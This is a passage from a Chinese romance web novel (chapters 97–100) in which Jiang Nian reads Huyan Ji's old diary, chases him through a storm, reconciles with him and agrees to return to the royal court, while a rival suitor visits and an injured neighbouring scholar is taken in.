江念不知道自己脸上是什么表情,但一定是不好看的,她也不愿去看他,侧身从他身边错过,才走没两步,身后响起说话声。
“吉阿兄,江阿姐是不是不喜欢我?”
“不会,她只是心情不好……”
“江阿姐为何心情不好?”
“因为她……”
江念进到院中,两人的说话声便听不真切。
用罢晚饭,江念沐洗毕,坐在院子里纳凉。
秋月坐在一边为她剔果壳,再将剔出的果仁放到小盘中,珠珠则搬了一张杌子坐到江念身后,将女人半干半湿的发丝铺在自己的腿窝里,理开,拿着小蒲扇慢慢打风,让发丝干得快些。
女孩儿将手穿插在如墨的发丝间,先时手间带着微湿的水渍,在她的小扇和院中晚风的拂弄下,发丝慢慢变轻,变柔软,像是一堆干爽细腻的金沙从指隙流过。
江念吃着果仁,喝着凉饮,吹着晚风,心里空着。
这时,院门开了,呼延吉走了进来,坐到江念对面。
秋月给珠珠睇了一个眼色,两人退回房中,将院子空出来给他二人。
江念木着脸,并不理呼延吉,从盘里拿过一粒果仁放入嘴里,咯嘣咬了一下,又拿过凉饮喝了口。
她不说话,他便也不说话,两人就这么坐着,终是江念忍不住,开口道:“怎的?小叶山不好玩?”
这话中多少带了些酸意。
“玩得应该很开心罢,你们年纪相仿,在一起自然有说不完的话,她年纪又小,且乖巧伶俐,谁见了不喜欢呢,你肯定也是喜欢的,是不是?”
江念想听些什么,又害怕听到什么,然而对面之人只是不言语,一颗心拧得难受。
呼延吉默然了一会儿,抬眼看向江念,说道:“明日我便回王庭。”
江念心里一突,努力让自己看起来不那么无措。
呼延吉继续道:“我会带真儿一道走。”
江念感觉两腮很重,那两坨肉像要从脸部分离出去,她想要回以一笑,轻松地说些什么话,无论什么话,说出来就好,可她笑不出来,话也说不出来。
她好容易空下来,有了时间陪他,他却要离开了。
今日她说的那些话,他必是听到了,她说没她点头,他不会娶妻,可是一个转眼,他便要回王庭,还是带着真儿一起离开。
“为什么?”江念喃喃问道。
呼延吉默了一会儿,认真看向她,说道:“答案你不是已经知道了么,何必来问我?”接着又道:“我把一颗心拿到你面前,你却不愿施舍看它一眼,从头至尾都是我一个人在使力。”
江念一怔,会过意来,他说的是那本绿皮书,他特意从王庭取来给她,直到现在她也没有翻看一眼。
男人眼睛落到她手上缠着的纱布,不愿再多说什么,起身走回屋子。
这一夜,江念没阖眼,她想去敲响他的房门,想问问他,要问什么,她也不知道,就是想听他说话,可她终是忍住了,她不允许自己做这么下脸的事。
他这么抽冷子来一下,是什么意思。
因一夜没有好睡,次日江念便没起早,迷迷蒙蒙窝在床上,直到听见对面门扇开阖响,那要死不活的瞌睡一下就醒了。
衣也不披,慌张趿鞋下床,隔着门板,立在那里。
熟悉的脚步声从门前来去了两趟,然后响到院中,接着秋月的声音传来:“阿姑起了么?阿郎要走了。”
江念走到窗榻边,坐下,透过纱窗不高不低地回了一声:“今日身上不好,便不相送了。”
然后那熟悉的脚步声出了院门,一点点远去。
就这么走了?
江念仍有些怔怔的,总觉得有些不真,可就这么发生了。
秋月将做好的早饭摆到院子的桌上,对珠珠说道:“看看阿姑醒了没有?”
珠珠应下,走到房门前。
“念念阿姐,起……起身了么?”
江念仍呆坐在窗榻上,乌云松斜,对敲门声置若罔闻。
院子里响起秋月刻意压低的声音:“还没起么?”
另一边没有说话,应是摇头回应了。
就这么的,江念不知坐了几时,直到听见灶房里“滋啦——”声响,才发觉自己从早上坐到了午时。
她起身,脑子昏沉沉的,如同里面填满石头,石头缝里灌满水。
于是慢慢走回床榻,想要再躺一会儿,想到什么,忽然顿住脚,扭过身快步走到妆奁前,从抽屉里取出一把钥匙,然后走到墙角的立柜前,打开,里面躺的正是那本绿皮书。
江念将书取出,走回窗榻边,踢鞋上榻,将书搁于桌案上,手指在绿皮书上摩挲了一会儿。
书页重启,那些故事再次展现眼前。
上次,她就是看到这里终止,他说,他每有创伤便寻到她的面前,尤喜观她嗔骂那些欺辱他的仕宦子弟,他口口声声唤她阿姐,心底却讥她憨直,讽她愚妇,更是恶语“谁家若聘此蠢妇,岂不无妄之灾?”。
后一段,又羞辱她是花孔雀,说她是孔雀苑的雀儿,孤高自许,目无下尘。
江念吁出一口气,待往下翻去,房门再次被敲响。
“阿姑,起身了吗?午饭好了,起来吃一些罢?”
是秋月的声音。
“你们吃,不必管我,我再躺会儿。”江念回应道。
打发了秋月,江念静了静心,翻开下一页,继续往后看去,后面记录了他的日常,譬如每日练功,身上又受了多少伤,又如何被师父责骂,他又是怎么在心里骂回去的。
江念噗嗤笑出声,笑里有泪。
教呼延吉习武的师父是个武功极高深的人,是呼延吉的兄长遣派来的。
此人是后来才来的大梁,之所以派他前来,是因为发生过一件事,呼延吉左肩窝的伤痕就是那一次留下的,那次的事情……江念不愿去想,也不愿再提。
这一会儿,江念看着书上的文字,细细看着,连同他日常生活的琐碎小事。
他说,他将心
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捧到她的面前,她却连看也不愿意看一眼,她现在看了,很认真地在看。
终于写到她了,江念有些紧张,好像孩子收到一份心爱的礼物,掀起一角看一眼,看出一个大概的影儿,再将它完全展露出来,细看真切。
“春日正浓,不少人出城踏青,只见那郊原旷野,景物芳菲,千花万蕊,仕女游人不断。
我叫上江轲,江轲又叫上他阿姐,乘车出行郊外赏玩春景,到了地方,是一片极为广阔的郊野,仆从们开始烧水煮茶,并支桌摆放果品小食。
江家女郎走来问我可会御马?我鬼使神差地说了两个字‘不会’,她说她可教我,我同意了,并非想让她教我御马,而是想观其劣技,殊不知,我自蹒跚学步,便开始翻爬马背。
她从如何上马,如何踩镫,再到骑姿、起停、控速,无不细致一一教导,我见她额沁薄汗,十分认真的模样,竟也有些认真起来。
这江家女郎怎的对我这般殷勤,莫非倾心于我?我不过十岁,想来应当不是。”
江念看到这里,笑也不是,气也不是,小小儿郎脑子里在想什么?
正在这时,秋月的声音从门外再次响起:“阿姑,对过房里可清了?”
江念怔了怔,说道:“清扫了罢。”
在秋月和珠珠的低语中,江念继续往后翻看……
中间又是一些生活琐事,无非是他怎样被师父逼迫**功,还有怎样惩治那些欺辱他的王孙权贵。
江念就这么慢慢地细看着,给自己倒了一盏茶,喝了一口,再翻过一页,那一页没别的,只有一句话,不,不只那一页,是左右摊开的整面,只有一句话。
“辗转数日,终省得,江家女郎属意于我。”
江念一口茶水差点喷出,心里骂道,你从哪儿看出来我属意于你?就这么突突来一下。
她怕自己错漏了什么细枝末节,又翻到前面再细看,都是他骂天咒地的话,再无别的,怎么就突兀冒出她属意于他的想法,毫无根由。
真是气煞人。
女人却不知,自己的嘴角始终带着笑,往后再看,又是一页。
“江家女郎,脾性不乖,只有姿容勉强可入眼……”前面仍是一番贬责,直到最后一句,“如此愚妇,安得为长兄妇?若吾兄娶之,岂非坑害兄长,罢了,罢了,日后我自娶之,代兄挡灾厄。”
江念看了先是一怔,有些接不上,这前前后后完全不搭呀,前面还骂她,怎么就要娶她了,还什么替他兄长挡灾厄,一副勉为其难的样子,谁迫他了?
再后面的文字,她仍是被他嫌弃的,譬如嫌弃她喜欢的肤浅事物,又不自量力地好为人师,还有她在别人口里如何娇堕,可那嫌弃的口吻却并不惹人讨厌。
她突然感知到,若不是时刻关注她,他怎能知道得这样详尽。
“江念,你没有心……”
这又是什么,突然来这么一句,联想当时况景,将记忆缝合,想起来了……
第98章 你刚才是不是亲我了?
那日,他兴兴头头拿来一提盒,让她打开,说这里面是她最爱吃的油炸酥骨。
少女傲娇的腔调在绵绵的回忆里一点点浮出水面,缓缓荡开……
“你从哪弄来的?我爱吃酥骨没错,可不是什么酥骨都吃,只吃川城的。”
她爱吃的酥骨头是骨头上带着肉,可那肉又不是很多,肉多了不入味,还柴,需得骨头是枯的,肉是外焦里嫩的,上面撒着鲜辣香料,她就馋这一口。
可惜这川城的酥骨在京都没有分号,原是祖父去外城,她随行,偶在一私人小馆吃到,事后她在他面前提及过几次,为何会说到这事,也是因为他说他们夷越羊羔肉好吃,她就拿酥骨压他,说川城的酥骨比他那什么羊羔肉美味数倍。
未了,还嫌弃他蛮夷之地怎会有美食。
少年龇牙一笑:“你尝尝看这酥骨,和你以前吃的一样不一样?”
她见他眼中隐含期光,带着十足的兴味,迟疑地在那酥骨上闻了一闻,倒是香,闻起来同她之前在川城吃过的有些像。
于是撕下一角油纸,包起一块,忽觉小腿上有东西蹭来蹭去,低头看去,原是她养的长毛狗儿。
“追风,你想吃这个?”
那狗儿就地转了一圈,肥肥的屁股摇到起飞。
“喏——”江念把手里的酥骨往地上一丢,狗儿便“吧唧——”“嘎嘣——”地吃起来,不过一瞬,吃完又把她看着。
江念连丢了两块给它,一个眨眼又没了,那狗儿也不是没吃过好物,偏就馋人手里的,一提盒本就不多,这么几块下去,盒子里不剩什么。
“吉儿,你看,它怪喜欢的。”江念笑着抬头,却见呼延吉沉着脸,重重一哼,甩袖跑开了,江念气得两眼睁瞪,“什么毛病。”
后来,江轲告诉她,呼延吉带人特意跑了一趟川城,找到那家鲜炸酥骨店,花重金请那厨子来一趟京都,结果那厨子也是个倔种,不愿来,呼延吉把人捶了一顿,强行带来京都,就为给她做鲜炸酥骨。
怪道他说自己没心,见她惦记川城的酥骨,兴兴头头费那么大的劲儿,结果她把他的心意喂了狗。
之后,他仍是常往江府来,发生的事情,就是她同他共同的经历,再到后面便是他请旨赐婚,再之后是他回夷越的事情,他记录得便不认真了,看得出来很敷衍。
十天半个月不记录一回,不像从前在梁国之时那般事无巨细。
江念也不去细看,直接翻到最后一页,当看见那些文字时,便静止不动了,她有些不确定似的看了一遍又一遍,确认自己没看错。
秋月见江念闭在屋中,早饭不吃,午饭也不吃,便将饭菜留了些,待她饿了有现成的可食,正同珠珠在院中收着桌上的碗筷,房门猛然大开。
只见女人乌云斜坠,衣衫松散地从门里出来,捉裙快步趋到阶下。
“秋月,我的那匹马儿呢?”
秋月下意识答道:“在巷口的脚店外拴着……”
话音未落,女人已推开院门,碎步小跑而去。
“阿姑——你去哪里?手上还有伤——”秋月追出院门,朝那背影叫喊了一声。
“京都——”
女人的身影消失在巷子口,接着响起一声驾呵,一人一马从巷口如风疾过。
秋月抬头看了看天,阴沉的天上乌云密布,云中雷声隐隐。
珠珠从后走来,担忧道:“变天了,要……要下雨……”
……
徽城去往京都的官道上,一骑飞奔而去。
江念扬鞭拍马,连衣也来不及更换,只在寝衣外胡乱裹了一层长衫,发丝半坠,一根木簪险险固着。
这是呼延吉回王庭的官道,如无意外,他应当会走这条道。
她也不知道追上他之后要说什么,兴许就是想确认他看她的眼神是否仍热望,是否仍是凄苦的求而不得,如果他对她还有耐心,或是余情,她……想要追上他……
风灌满了女人的衣袖,鼓猎风中……
……
秋月指着珠珠让她将木架上晒干的香料收进屋里,自己则收院中搭晒的衣衫和被单。
呼啦啦的风声中,院门被敲响。
“珠珠,快去开门,必是阿姑回了。”秋月两手抱着被单。
珠珠“嗳”了一声,快步至院门前,从内将门打开,见着门外之人,女孩儿磕巴道:“大……大……”
“是阿姑回了么?”秋月从后问道。
问话间,门外之人已走了进来。
秋月半张着嘴,怔愣在原处:“小阿郎不是走了么……”
呼延吉不去理她,径直走回自己房内,转眼又走出,声音透着不快:“怎么回事,我的铺盖怎的收了?”
“阿姑让收的。”秋月仍有些没回过神。
男人踅过步子,走到对过一看,房门开着:“她人呢?”
秋月连忙道:“阿姑骑着马儿去京都……”
“哪里?!”
“京都。”
不待秋月话音落地,男人已一阵风似的出了院门。
秋月看了看天,正巧一道雷声在云中彻响,如裂石之音,接着又是轰隆隆。
乌沉沉的天际下,一骑飞马疾驰于长道,不等这爿雨落,一人一马已闯进前方的雷电雨幕。
道路泥泞,马蹄下泥水四溅,江念身上已全然湿透,雨脚太密,淋得她透不过气,看不清前方的路,双眼被水糊得睁不开。
她不敢再行,这样跑下去,怕落得人仰马翻,于是掉勒马头,找了一处避雨的木架棚。
这架棚应是官道附近卖茶水的摊子,里面摆了三张小木桌和几个破烂凳子,此时也被飘进来的雨水打湿了。
雨势太猛,像是铁丝银箭从天而降,不知几时能停,现下不能行人,呼延吉一行人应该也找了地方避雨。等雨脚缓一缓,她再行,兴许就能追上了。
心里思忖着,便要寻个地儿把马儿拴起,不承想一道闪雷打下,那马儿受了惊,她手上又有伤,一个没拉住,马儿扬蹄跑了,她只能呆呆地看着烟白的雨幕。
追不上了……
江念走到桌边,手撑着桌面跳坐上去,脚踩着凳,裙摆已污成了泥色,簪子也落了,一头乌发就那么散在身后。
她掏出腰间的帕子,拧了拧,擦干头脸,又将绣鞋褪去,扯掉湿泥的高筒袜,搭到凳子横档上,然后赤足踩在绣鞋上,动了动圆圆的脚趾。
这个时候,雨下得越发火炽,江念撑着头望着唰唰的雨烟发呆。
就在她发怔之际,一道黑影破雨打马飞去,江念怔了一瞬,腾地从桌面站到地上,冲出茶棚,追了出去。
“吉儿——”
“呼延吉——”
女人的嘶喊声被雨声吞没,传不出去,而那人影早已消失。
江念追跑几步,停住脚,脸色苍白地呆立在雨中。
悲伤的情绪再也压持不住,她这是怎么了,因太过想他,以至于产生了幻觉,简直又可悲又可笑。
江念揉了揉眼,像是要把雨水揉进眼里。
女人回过身,捉起湿重的裙摆,深一脚浅一脚地往茶棚走去,身后的雨幕传来“嘚嘚——嗒嗒——”践泥踏水的马蹄声。
她回头望去,那个幻想中的人影正朝她这边奔来,她不敢动,怕他再次化在雨雾中。
呼延吉简直拿她没办法,驱
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马行到她的身边,滚鞍下马,将她抱到马背之上,再牵马快步到茶棚处,拴住缰绳,将人从马背上抱下,放到桌上。
两人俱湿淋淋地没眼看。
“这么大的雨,你干什么去?!”男人的声音带着斥责,“看看你这个样子,不知道的还以为是水鬼上岸。”
呼延吉自己也没好到哪去。
江念只是看着呼延吉微笑,她这一笑,男人的气就消去了七七八八。
“比我先行,怎么还走在我的后面?”江念问道。
呼延吉便不言语了。
江念并不打算放过,伸手把他整个人拉近,近到她一抬眼,就是他。
“不是回京都了么?不是带真儿走了么?怎么就只你一人?”
她坐在桌上,他站在地上,他仍比她高出些许,她便仰着脖望着他,等着他的回答。
呼延吉见她眼睫湿着,花容淹淡,一头浓发披散,几缕发黏香腮,丰润的唇瓣是将红未红的颜色,说道:“回京都做什么,你在这里,我能走去哪里?总要把你带在身边才安心。”
江念半垂下颈脖,手里仍扯着男人的衣带,自顾自说道:“我打算去找你。”
头顶的声音平平问道:“找我?”那腔调显然是不信的。
江念抬头望进他的眼里:“你专为我去的,对不对?”
呼延吉一怔,把眼睛撇向一边,不去看她:“什么跟什么,没头没脑的一句话。”
“是不是?我也要听你亲口说。”江念知道他听懂了,她将他拉得更近,将脸慢慢地偎在他的胸口,听着肌下快速有力的心跳。
男人轻轻吁出一口气:“是,专为你去的……”
他料到三皇子李琰会登极帝位,李琰看似木讷,能坐上那个位置实是必然,然而,他万万没料到李琰会拿江家开刀,待他收到消息之时,已经晚了。
江家一夜之间倾覆,她被流放充入军营为妓。
他传召亲卫首领阿多图入宫,商议一番,圈画出几条线路,分出五队人马,势必要截住流放的队伍。
“大王,距他们出发已有月余,就算截住了流放的那拨人,只怕……”
呼延吉何尝不知,梁国如今正值隆冬,那里的冬季是能冻掉手脚的,而且她那么娇贵的一人,从未吃过任何苦,金银窝里长那么大,只怕唯一的苦恼还是他给她的。
可是他不管,江念,你不是挺傲么?你不是不将任何人放眼里么?怎能这么窝囊地死去。
他率领人马择了最常走的一条官道,沿路追寻。
终于,他找到了她。
蓬着头,脸也烂了,只有那双眼睛仍是那么亮,像浸着水一样,湿漉漉地望着他。
还好……还好……不论变成什么样,只要还活着就好……
呼延吉抓住女人那双不老实的手,自己的腰带都被她绞结了:“看了那书?”
江念嘴角带笑地点点头,他专为她而去,并非偶然,在她最绝望最无助的时候,他出现在她的面前,那么很多事情就不一样了,她的命是他给的,为了这份情,她可以忍耐。
他其实很不想让她知晓自己能为她做到这个地步,怕她又像从前一样,在他面前使性猖狂,正在懊悔之际,微凉的柔软落到他的唇上,小心地碰了碰,又像蝶儿一般轻轻飞开。
男人心头的懊悔被这丰软的唇一碰就没了,可是……怎么就那么一下,他怕自己感知错了,问道:“你刚才是不是亲我了?”
江念本就羞垂着头,被他如此一问,遂抬起头抿着嘴儿笑。
呼延吉更近一步,微压着身子,觑声道:“适才没觉着滋味,让我再品品……”
第99章 不够……
雨脚放缓,变得缠绵起来,茶棚檐滴落一串串水珠帘,将这一方隔起小小的幽秘。
茶棚下,男人背立着,他的身后是泼黛青山,他的身前是流绪微梦,颈间玉臂轻环。
女人湿皱的薄裤下是两条丰长的腿儿,架在男人两侧的腰际。
江念一手推开身前人,细喘道:“尝好了么?”
呼延吉咂摸着嘴,沉思片刻,再次落到女人的唇畔,含糊道:“不够……”
江念嗔笑着避开他,秋波轻斜:“我有正经事问你。”
呼延吉“唔”了一声,不太将她的话听进去,一心只在那软软的香唇上,他等这一日,不知等了多久,梦里倒是有过,然而每每关要之时就醒了。
“你不是回王庭么?还带着真儿一道?”江念问道。
“本来是要回王庭的,又丢不下你这边,至于那丫头嘛,我让人送她回安城了。”
他先时那样为的就是激一激她,江念这人在感情方面太被动,恨不得人把东西嚼碎了喂到她嘴里,他若一直温温暾暾,不知要等要猴年马月。
若不下一剂猛药,她根本不会看那绿皮书,他又不好直截了当告诉她,救她,本是他心甘情愿,若以此为由让她随自己回王庭,有挟恩图报之嫌,意味就变了。
“送回安城?”
呼延吉点了点头,笑道:“我只说带她走,又没说带她回王庭,你那日不是振振有词,我娶妻得你点头么?”
“那可不是,你都要求我了,我也得管管你,这样才公平。”
他一日不娶,她一日不嫁,这种事总不能是单方面的。
江念觉着好似漏了什么,一时间又想不起来。
此时天色逐渐放晴,只有细雨濛濛,呼延吉把江念抱上马背,然后解开拴绳,翻身坐到她的身后,就这么慢慢在细雨中行着。
“想起来了。”女人的声音在细雨中响起。
男人“嗯”了一声,等着她接下来的话。
“真儿就这么甘愿被你送走?”
江念看得出来,那丫头是真心喜欢呼延吉,可话说回来,他这么个人,很难让女子不倾心。
“走不走由不得她。”
原是真儿家预备从安城举家搬迁至定州,定州并入夷越,生出许多商机,正巧真儿父兄得到一个绝好的营生,便往徽城来信,让家中仆人带她速回安城,再一道去往定州。
自然了,定州城的绝好营生,脱不离呼延吉的手笔,从真儿到徽城之始,呼延吉就着人手安排此事,算是他利用她做出的一些补偿。
他不能强行带江念回王庭,自己又离不得她,只能使些手段,既然是手段,肯定不光明,不过呼延吉从来不认为自己是什么好人。
世上吃亏的多半是好人,在他看来,好人同傻子是对等的。
“吉阿兄,真儿可不可以伴在你身边。”少女满眼希图,只要他说“可以”,她就留下。
这几日相处,她真的很开心,只要看见他,她就是开心的,她喜欢听他松懒的腔调,喜欢看他笑,虽然他不常笑,他不笑时,她总能逗着他笑一笑,他一笑,她就更开心了。
可她也看出,他的笑多少有些敷衍和心不在焉。
呼延吉并未多说什么,而是给仆从睇了一个眼色,让他们搀扶人上马车。
少女怎甘愿就这样离开,挥开丫鬟的手,说道:“吉阿兄这么着急送真儿走是因为江阿姐的话么?说什么她不点头,你就不会娶妻,真真是可笑,她一个梁人,又无血缘,有什么资格管你!”
女子心底早有不满,继续道:“她那样大的年岁,自己不婚嫁就算了,还要拘着你,是何道理?!”少女全然没注意到对面男子的面色,“我听闻梁国有律,女子‘十有五年而笄,二十而嫁’,超龄未婚者违背礼制,使长吏配之,她一梁女落入夷越,为何?差不离就是为了逃避罪责。”
少女说罢,怨嗔地看向呼延吉,希望他能宽解她一番,让她不要同他这位养姐计较,他的这位养姐根本不算什么,管不得他,她也不值得为了一个梁女生气。
然而,男人的眼是静的,静得看不见一点光动:“知道她为何这个年岁仍没嫁人?”
“为……为何……”
“她不嫁人,是因为我不许,我不许她嫁人,可懂?”呼延吉再问,“知道我为何不许她嫁人?”
少女怔在那里,说不出一句话来。
男人自然一笑,俯身到少女耳边:“就是你想的那样……”说罢,抬手一招:“把人送往安城。”
两名丫鬟上前,将呆滞的少女请到马车内。
这之后,呼延吉回了桂花巷,得知江念独乘一骑去往京都,又拍马追去。
他略去一部分,择其简要说了,江念知晓大概后也不再追问。
两人就这么共乘一骑回到桂花巷。
此时,院中不止秋月和珠珠二人,还有一人,正是呼延吉的亲随,阿丑。
秋月见他二人浑身湿答答地回了,忙同珠珠去灶房烧水,阿丑则在一边随时应候。
待热水备下,两人归房各自沐洗,然后换上干爽的衣物。
珠珠在灶房熬煮了姜汤,盛入碗中,秋月和阿丑分别端给自家主子。
秋月将姜汤递到江念手里,见她接过,慢慢喝了几口。
“阿姑,需要放糖霜么?”
江念抿唇笑道:“不必,是甜的。”
甜的?姜汤怎会是甜的。
女子嘴角噙着笑,不知想到什么,腮上透出一抹淡淡的红。
这时,屋门响了两响,江念看去,就见呼延吉倚在门栏上。
秋月忙收了汤碗退出房屋。
呼延吉走到江念跟前,笑问道:“姜汤是甜的?”
江念点点头。
“怎的我的姜汤是辣的,你的却是甜的,莫不是你说谎。”
“可是奇怪呢,这次怎么不一样。”
呼延吉坐到她的身边,想了想:“怎么个甜?”
江念笑道:“就是甜么,还能怎么个甜,我哪里说得出来。”
“你既然说不出来,不如让我尝一尝……”男人的目光落到女人的唇上。
江念笑着推开他:“莫要胡闹。”
呼延吉怕她生恼,不敢对她太过轻浮,惜爱中不自觉带上三分敬重,就如她说的,他自小唤她一声阿姐,心底除不去一个“敬”字,他想在她身上放肆、撒野,又怕唐突了她。<
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br>“跟我回王庭,好不好?”男人说道。
江念低头想了想:“可我不想当奴姬,不想没有身份,一个真儿就让我醋成这样,以后你身边不定还会有什么人出现,那个时候我该如何?”
“阿姐,我说不准以后,就算现在给你保证,那也是虚的,空口白话我不愿说,但我们试一试,试一试,好不好……”
对其他人,好话歹话,真话假话,他信口拈来,只要能达到目的,但对江念不行。
他看着她,说得那样认真,他说试一试,他在等她点头。
江念突然悟得,一直以来她想要的是呼延吉单方面的给予,而她呢,像个精明的商人,不愿奉上本钱,还想做稳赚不赔的生意。
他将她护在羽翼之下,她却不愿陪他共度,只是一味地索取,她连一步也不敢踏出。
他想同她走下去,那她要不要也试一试,在他们二人的关系上使出几分气力,至于结果如何,谁知道呢。
“阿姐……”呼延吉唤了她一声,轻声道,“陪在我身边。”
江念微笑点点头,算是给了回应。
男人欢喜得了不得,一把将女人抱起,在房里转起圈,这还不算,又要拉钩:“说好了,以后不许抛下我一人。”
江念觉着幼稚,不愿伸手,却被呼延吉强行勾出小指,环住。
小指连心线,勾月作玉环,二人用最轻盈的姿态,对抗最沉重的无常。
石儿禄自打那日败于延吉的歪理下,仓皇而走。
他责他,兔子还不吃窝边草,他反讥,他又不是兔子,更是直言,江念若一辈子不嫁人,他便养她一辈子。
石儿禄不是笨嘴拙舌之人,并非他说不过延吉,而是他不愿承认,江念在透过他看另一个人,江念自己却并不知情。
连他都不得不承认,他同延吉行止间真有几分相似,特别是两人起笑时,嘴角勾起的弧度都恰到好处地漾着漫不经心。
可这并不能说明什么,那日他走得太过草率,该当面问一问江念,兴许是延吉小子单方面对他阿姐起邪念。
而江念对自己有好颜色,可能始于他同延吉的三分相似,因像她的亲人,不自觉生出亲近之意,但这不能全盘否认江念对他的心意。
石儿禄越发肯定自己的想法,今日再次上门,想亲口问一问江念,他始终执着于他们二人的初次相遇。
那个时候,她明明看向了他,还对他笑,他常向人说起梁国女郎之绝色,却从未提及这一节,好似心底不可言说的秘密,不愿与人分享。
试想想,机缘之下,如同天人一般的上国贵女目光飘向你,还对着你笑,是种什么感觉,对某些人来说,便是一辈子忘不了,不时还会从记忆中调出来,品味一番。
“你主子呢?”石儿禄见院门未关,径直进到院里,只有一个十岁出头的小丫头。
珠珠见了来人,说道:“我去……去……”
石儿禄本就不是个耐心之人,再加上珠珠口吃,哪里等得了,两步跨上台阶,走到江念的房门前。
房门半掩,门里门外安静得没有一点声响,石儿禄不自觉放轻脚步,探头往里看去……
第100章 蓄养包占
因才下过雨,带着湿意和微微青草气的风从窗隙吹到屋里。
窗榻上一方小几,女人背朝门,歪枕于案上,万千青丝披散于身后,堆鬈于榻,一条胳膊搁在案上,垂下来的绢袖,随风轻轻荡着,看不见正面,不知是不是睡着了。
她对面的年轻男子侧着身,懒懒倚着小案,指尖绕着女人的一绺青丝,一副安然的姿态,似是也有些困意。
男子转眼看向他,一指压向唇上,比了一个“嘘——”的手势,朝院中摆了摆下巴。
石儿禄走到院中,不过一会儿,呼延吉出来。
“你还来?”呼延吉问道。
石儿禄冷声道:“我来找阿念,怎么找不得?”
呼延吉笑了一声,不说话了,就坐在院中喝茶。
“你笑什么?”石儿禄觉得自己在这个小他几岁的儿郎面前,有些拿不起架势,不自觉会低他一头。
呼延吉看了石儿禄一眼,不答反问:“你在执着什么。”
石儿禄从不对外人说的心事对呼延吉说了,兴许存了一份炫耀的意思。
“你说她对你笑?”呼延吉问道。
“不错。”
呼延吉想了想,开口道:“应是错看了,把你当成了我。”
石儿禄气得差点破口大骂,大爷我脱不了你的影了,是罢?!想到什么,苦闷的表情有了变化,嘴角越裂越大,没头没尾地来了一句:“我比你大几岁。”
石儿禄仿佛看到一道光,看着呼延吉发沉的脸,越发肯定了自己的猜测:“让我来猜猜啊!我比你大几岁,应是我比你先到的梁国,也就是说,阿念先遇上了我,后来才遇上的你。”男人指向自己,笑的得意:“是我先入了她的眼,你才是替代品。”
呼延吉阴沉的脸倏忽一笑:“知不知道什么叫后来者居上?”
石儿禄垂着头,半晌不说话,抬头看了眼窗隙间的那抹柔影,叹了一口气,语气比刚才认真:“你注意了,安努尔那人不好对付,他跟我不同,他那人……危险。”
呼延吉从不轻看任何一人,这个叫安努尔的确实不简单。
石儿禄站起身,看了呼延吉一眼,扬唇一笑:“哎呀——爷们这下舒服了!”
说罢摇头拨脑地走了。
呼延吉暗骂一声,什么玩意儿!
空气里带着青润润的水汽,暮色渐临,天挼蓝。
呼延吉招来阿丑,吩咐道:“准备一下。”
“主子的意思是,准备返程了?”
呼延吉“嗯”了一声,他滞留徽城为的就是带人走,如今江念已然应下,随时可走。
秋月备好晚饭,在院子里摆上,珠珠去房里唤醒江念。
用饭时,呼延吉看了眼江念,说道:“明日回去如何?”
江念想了想,说道:“安阿兄还未归,我在徽城得亏他照顾,总要当面辞过。”
“那他一直不回,你一直不走了?他要死在外……”
不等呼延吉说完,江念打了他一下:“你这张嘴,怎的这样欠呢。”
呼延吉埋头扒饭,腮帮子上下鼓动,心道,再等等,他又不是等不起,只要她跟他回去,万事好说。
二人正吃着,外面传来一声呼叫,在空寂的巷子里格外凄响。
“快来人——来人——”
江念心里一紧,放下手里的碗筷,这是情姑的声音。
江念同呼延吉出了院门,往巷弄一看,巷子里的几户人家都出来了,簇围成一圈,不知发生了何事,人缝间隐约可见好似有人躺在地上。
江念往前走去,呼延吉紧随在她的身侧,人群拨开,待看清地上的境况,只让人倒吸一口凉气。
情姑半蹲在地上,而她的脚边躺着一人,这人满面是血,已看不清本来面目,一身布衣,头发散乱,连脚下的鞋子也掉了一只,衣襟前全是血。
不知是死是活。
“这不是隔壁的崔书生嘛!”人群里一人说道。
“我听说他去京都了,好像去通门路,向哪位高官举荐自己,怎么成这样了?”
人群里又是一声叹:“也是可怜,谁让他得罪了徽城府令,这边的门路堵了,想去京都又无人举荐,想出头,更是难上加难。”
“你们都做戏看呢!还不来救人!”情姑叫嚷了一声,却没人搭手相帮。
江念对呼延吉说道:“你搀他进屋,我去请大夫来。”
呼延吉拉着她:“你就在这里,哪需你去跑腿。”转头叫了一声阿丑。
呼延吉背那人进了屋,情姑和江念在大夫没到之前,只能先烧水,待一会儿备用。
“嫂子,这就是你先前说的那个书生?”
江念记得她才来时,情姑说她家隔壁住着一书生,有些嘴不饶人,不太会说话,可人不坏。
自她住进桂花巷,从没见过。
“就是他,去了京都,走之前还让我替他照看院子。”情姑叹了一声,“也是个可怜人,投路无门。”
不一会儿,大夫来了,诊治一番,又开了药,好在没有伤到命脉,呼延吉让阿丑付了诊金,送走了大夫。
江念同情姑对坐,呼延吉坐得稍远一些,情姑看了一眼呼延吉,有些惋惜他没同自家侄女促成一对,没有缘分强求不得,扭头又同江念絮絮说起书生的事来。
“这书生姓崔,叫崔致远,我们这一爿都唤他崔书生,或是书生。”
这个名儿倒不像夷越男子的名。
“刚才听人说他得罪了徽城府令?”江念问道。
“是,这事说起来,也是冤枉。”
昏黄的烛火下,妇人慢慢道来。
“因为一花院女子,同徽城府令家的郎君起了冲突,说起来也是荒唐,他这人还算老实,那日却被几位友人拉去花院,同他一道的几人是那花院的常客,花院的妈妈便叫了几个姐儿来陪侍,这本也没什么,坏就坏在陪他的那女子是府令家郎君,羯田,蓄养包占的,从不对外接客,那妈妈必是料着府令家郎君那日不在,便让那位姐姐出来接客,谁承想……”
江念猜到了:“那个叫羯田的去了?”
“可就这么巧呢,撞上了,当时府令郎君什么也没说,却把花院和书生都记恨上了,那妈妈是个精明人,托人在中间软语调和,后又借机带着她家姐姐去府令后宅,唱曲儿赔不是,府令家郎君心一宽,便不同她们计较了,可对书生却不手软。”
“从那之后,麻烦上身,常常
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吃官司,就是没有官司,也被一些鸡鸣狗盗之徒搅缠。”
情姑看了一眼床上的男子,唉了一声:“人是个好人,命差了一点,像他这样,得罪了府令家的郎君,指望府令举荐这条路算是绝了,只能另想办法。”
“走这前,我问他,他说京都贵人多,想去那边试试运气,我见他这些时不回,还道他找着门路了,怎么成这样子,也不知发生了何事。”
一声嗤笑响起,打破沉闷的谈话:“这傻子定是被那几个所谓的友人设计,知道那日羯田要去,故意诓他去,特意安排羯田的相好作陪。”
江念转头看向呼延吉,嗔了他一眼。
在呼延吉嗤笑的同时,床上的男人睁开了眼:“你笑什么?很好笑?”
崔致远早就醒了,一直闭眼装昏睡,情姑同人议论他的事情,这让他觉着自己很凄怆,他这个当事人还是闭着眼睛的好。
那件事后他不是没想过,自己被人陷害,那几个所谓的“好友”想阻断他的仕途,可当会过意来,为时已晚。
